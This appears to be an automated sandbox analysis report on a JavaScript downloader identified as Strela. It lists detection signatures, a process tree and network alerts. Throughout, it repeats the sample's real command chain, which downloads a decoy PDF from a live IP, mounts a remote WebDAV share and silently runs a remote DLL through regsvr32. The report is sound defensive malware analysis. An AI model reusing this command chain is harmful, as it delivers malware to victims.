Edit tour

Windows Analysis Report
17201670993971103.js

Overview

General Information

Sample name:	17201670993971103.js
Analysis ID:	1590589
MD5:	802ffecdf78362079dac91d319b3ea7c
SHA1:	b2dbfc81ccb4863ab5deaf64f75b8e1f7ac814a5
SHA256:	74cf029cea455234dfa9b311bb2598aa02459f3fcca68d1d5017e59de974e85f
Tags:	jsuser-lowmal3
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 4180 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\17201670993971103.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 1992 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118092057022863.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5780 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 4580 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 3276 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 2412 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 6584 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1600,i,9331325378780526045,7878817069450235506,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 5552 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 6504 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 1848 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 4180	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118092057022863.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1992, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 4580, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118092057022863.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1992, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 4580, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\17201670993971103.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\17201670993971103.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\17201670993971103.js", ProcessId: 4180, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 6504, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118092057022863.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118092057022863.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\17201670993971103.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4180, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118092057022863.dll, ProcessId: 1992, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118092057022863.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118092057022863.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\17201670993971103.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4180, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118092057022863.dll, ProcessId: 1992, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118092057022863.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118092057022863.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\17201670993971103.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4180, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118092057022863.dll, ProcessId: 1992, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118092057022863.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118092057022863.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\17201670993971103.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4180, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118092057022863.dll, ProcessId: 1992, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118092057022863.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118092057022863.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\17201670993971103.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4180, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118092057022863.dll, ProcessId: 1992, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\17201670993971103.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\17201670993971103.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\17201670993971103.js", ProcessId: 4180, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118092057022863.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1992, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 4580, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5552, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6504, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 1848, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5552, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6504, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118092057022863.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118092057022863.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\17201670993971103.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4180, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118092057022863.dll, ProcessId: 1992, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-14T10:19:00.265057+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-14T10:19:03.170362+0100	1810005	1	Potentially Bad Traffic	192.168.2.5	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-14T10:19:00.265057+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 17201670993971103.js	Virustotal: Detection: 11%			Perma Link
Source: 17201670993971103.js	ReversingLabs: Detection: 13%

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.5:49704 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.5:49705 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Tue, 14 Jan 2025 09:19:00 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: global traffic

TCP traffic: 192.168.2.5:49705 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

